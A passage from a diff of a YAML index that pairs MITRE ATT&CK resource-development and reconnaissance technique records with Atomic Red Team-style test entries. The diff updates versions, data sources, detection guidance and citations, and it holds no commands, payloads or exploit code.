+          3, 2021.
+        source_name: Malwarebytes Silent Librarian October 2020
+      - url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
+        description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat
+          Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'
+        source_name: Proofpoint TA407 September 2019
+      - url: https://www.digicert.com/kb/ssl-certificate-installation.htm
+        description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved
+          April 19, 2021.
+        source_name: DigiCert Install SSL Cert
     atomic_tests: []
   T1588.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Tool
+      x_mitre_data_sources:
+      - 'Malware Repository: Malware Metadata'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:17:55.499Z'
+      created: '2020-10-01T02:08:33.977Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: resource-development
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
       id: attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0
       description: |-
         Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)
 
         Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).
-      name: Tool
+      x_mitre_contributors:
+      - SOCCRATES
+      - Mnemonic AS
+      x_mitre_detection: |-
+        In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1588/002
         external_id: T1588.002
-        url: https://attack.mitre.org/techniques/T1588/002
-      - source_name: Recorded Future Beacon 2019
-        url: https://www.recordedfuture.com/identifying-cobalt-strike-servers/
+        source_name: mitre-attack
+      - url: https://www.recordedfuture.com/identifying-cobalt-strike-servers/
         description: 'Recorded Future. (2019, June 20). Out of the Blue: How Recorded
           Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.'
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: resource-development
-      modified: '2021-04-15T03:15:20.491Z'
-      created: '2020-10-01T02:08:33.977Z'
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on post-compromise phases of the adversary lifecycle.
+        source_name: Recorded Future Beacon 2019
+      - url: https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
+        description: Maynier, E. (2020, December 20). Analyzing Cobalt Strike for
+          Fun and Profit. Retrieved October 12, 2021.
+        source_name: Analyzing CS Dec 2020
       identifier: T1588.002
     atomic_tests:
     - name: Run NirSoft AdvancedRun
@@ -61779,175 +63761,203 @@ resource-development:
         elevation_required: true
   T1608.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1608.001
-        url: https://attack.mitre.org/techniques/T1608/001
-      - source_name: Volexity Ocean Lotus November 2020
-        url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
-        description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus:
-          Extending Cyber Espionage Operations Through Fake Websites. Retrieved November
-          20, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Upload Malware
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:24:48.949Z'
+      created: '2021-03-17T20:09:13.222Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: resource-development
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e
       description: |-
         Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.
 
         Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)
 
         Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.
-      id: attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: resource-development
-      modified: '2021-04-26T18:40:15.732Z'
-      created: '2021-03-17T20:09:13.222Z'
       x_mitre_contributors:
       - Kobi Haimovich, CardinalOps
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on post-compromise phases of the adversary lifecycle,
-        such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress
-        Tool Transfer](https://attack.mitre.org/techniques/T1105).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1608/001
+        external_id: T1608.001
+        source_name: mitre-attack
+      - url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
+        description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus:
+          Extending Cyber Espionage Operations Through Fake Websites. Retrieved November
+          20, 2020.'
+        source_name: Volexity Ocean Lotus November 2020
     atomic_tests: []
   T1608.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1608.002
-        url: https://attack.mitre.org/techniques/T1608/002
-      - source_name: Dell TG-3390
-        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
-          August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved
-          August 18, 2018.
-        url: https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Upload Tool
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:25:37.072Z'
+      created: '2021-03-17T20:31:07.828Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d
       description: |-
         Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.
 
         Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.
 
         Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.
-      id: attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-26T18:41:37.444Z'
-      created: '2021-03-17T20:31:07.828Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on post-compromise phases of the adversary lifecycle,
-        such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1608/002
+        external_id: T1608.002
+        source_name: mitre-attack
+      - url: https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
+        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
+          August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved
+          August 18, 2018.
+        source_name: Dell TG-3390
     atomic_tests: []
   T1583.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1583.003
-        url: https://attack.mitre.org/techniques/T1583/003
-      - source_name: TrendmicroHideoutsLease
-        description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease:
-          Bulletproof Hosting Services. Retrieved March 6, 2017.'
-        url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Virtual Private Server
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Metadata'
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T15:36:59.315Z'
+      created: '2020-10-01T00:44:23.935Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795
       description: |-
         Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.
 
         Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)
-      id: attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:52:41.901Z'
-      created: '2020-10-01T00:44:23.935Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Command and Control.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1583/003
+        external_id: T1583.003
+        source_name: mitre-attack
+      - url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
+        description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease:
+          Bulletproof Hosting Services. Retrieved March 6, 2017.'
+        source_name: TrendmicroHideoutsLease
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
+      - url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
+        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
+          Using Network Scan Data and Automation). Retrieved October 12, 2021.
+        source_name: Mandiant SCANdalous Jul 2020
+      - url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
+        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
+          Shodan. Retrieved October 12, 2021.
+        source_name: Koczwara Beacon Hunting Sep 2021
     atomic_tests: []
   T1584.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1584.003
-        url: https://attack.mitre.org/techniques/T1584/003
-      - source_name: NSA NCSC Turla OilRig
-        url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
-        description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla
-          Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October
-          16, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Virtual Private Server
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Metadata'
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T15:59:02.770Z'
+      created: '2020-10-01T00:55:17.771Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0
       description: |-
         Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)
 
         Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.
-      id: attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:03:59.919Z'
-      created: '2020-10-01T00:55:17.771Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Command and Control.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1584/003
+        external_id: T1584.003
+        source_name: mitre-attack
+      - url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
+        description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla
+          Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October
+          16, 2020.'
+        source_name: NSA NCSC Turla OilRig
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
+      - url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
+        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
+          Using Network Scan Data and Automation). Retrieved October 12, 2021.
+        source_name: Mandiant SCANdalous Jul 2020
+      - url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
+        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
+          Shodan. Retrieved October 12, 2021.
+        source_name: Koczwara Beacon Hunting Sep 2021
     atomic_tests: []
   T1588.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1588.006
-        url: https://attack.mitre.org/techniques/T1588/006
-      - source_name: National Vulnerability Database
-        url: https://nvd.nist.gov/
-        description: National Vulnerability Database. (n.d.). National Vulnerability
-          Database. Retrieved October 15, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Vulnerabilities
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:16:32.119Z'
+      created: '2020-10-15T02:59:38.628Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327
       description: |-
         Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)
 
         An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).
-      id: attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:16:32.119Z'
-      created: '2020-10-15T02:59:38.628Z'
       x_mitre_detection: Much of this activity will take place outside the visibility
         of the target organization, making detection of this behavior difficult. Detection
         efforts may be focused on behaviors relating to the potential use of exploits
@@ -61958,19 +63968,30 @@ resource-development:
         [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212),
         [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210),
         and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1588/006
+        external_id: T1588.006
+        source_name: mitre-attack
+      - url: https://nvd.nist.gov/
+        description: National Vulnerability Database. (n.d.). National Vulnerability
+          Database. Retrieved October 15, 2020.
+        source_name: National Vulnerability Database
     atomic_tests: []
   T1583.006:
     technique:
-      created: '2020-10-01T00:50:29.936Z'
-      modified: '2021-04-15T02:53:19.246Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: resource-development
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Web Services
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T15:45:01.956Z'
+      created: '2020-10-01T00:50:29.936Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
       id: attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54
       description: Adversaries may register for web services that can be used during
         targeting. A variety of popular websites exist for adversaries to register
@@ -61980,38 +64001,38 @@ resource-development:
         Using common services, such as those offered by Google or Twitter, makes it
         easier for adversaries to hide in expected noise. By utilizing a web service,
         adversaries can make it difficult to physically tie back operations to them.
-      name: Web Services
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: resource-development
+      x_mitre_detection: |-
+        Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1583/006
         external_id: T1583.006
-        url: https://attack.mitre.org/techniques/T1583/006
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102))
-        or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).
+        source_name: mitre-attack
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
     atomic_tests: []
   T1584.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1584.006
-        url: https://attack.mitre.org/techniques/T1584/006
-      - source_name: Recorded Future Turla Infra 2020
-        url: https://www.recordedfuture.com/turla-apt-infrastructure/
-        description: 'Insikt Group. (2020, March 12). Swallowing the Snake’s Tail:
-          Tracking Turla Infrastructure. Retrieved October 20, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Web Services
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:01:48.047Z'
+      created: '2020-10-01T01:01:00.176Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2
       description: 'Adversaries may compromise access to third-party web services that
         can be used during targeting. A variety of popular websites exist for legitimate
         users to register for web-based services, such as GitHub, Twitter, Dropbox,
@@ -62025,226 +64046,200 @@ resource-development:
         noise. By utilizing a web service, particularly when access is stolen from
         legitimate users, adversaries can make it difficult to physically tie back
         operations to them.'
-      id: attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:04:40.184Z'
-      created: '2020-10-01T01:01:00.176Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102))
-        or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1584/006
+        external_id: T1584.006
+        source_name: mitre-attack
+      - url: https://www.recordedfuture.com/turla-apt-infrastructure/
+        description: 'Insikt Group. (2020, March 12). Swallowing the Snake’s Tail:
+          Tracking Turla Infrastructure. Retrieved October 20, 2020.'
+        source_name: Recorded Future Turla Infra 2020
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
     atomic_tests: []
 reconnaissance:
   T1595:
     technique:
-      id: attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b
-      description: |-
-        Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.
-
-        Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
-      name: Active Scanning
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1595
-        url: https://attack.mitre.org/techniques/T1595
-      - source_name: Botnet Scan
-        url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf
-        description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from
-          a Botnet. Retrieved October 20, 2020.
-      - source_name: OWASP Fingerprinting
-        url: https://wiki.owasp.org/index.php/OAT-004_Fingerprinting
-        description: OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved
-          October 20, 2020.
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
+      name: Active Scanning
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
       modified: '2021-04-15T03:20:09.600Z'
       created: '2020-10-02T16:53:16.526Z'
       x_mitre_platforms:
       - PRE
       x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
+      id: attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b
+      description: |-
+        Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.
+
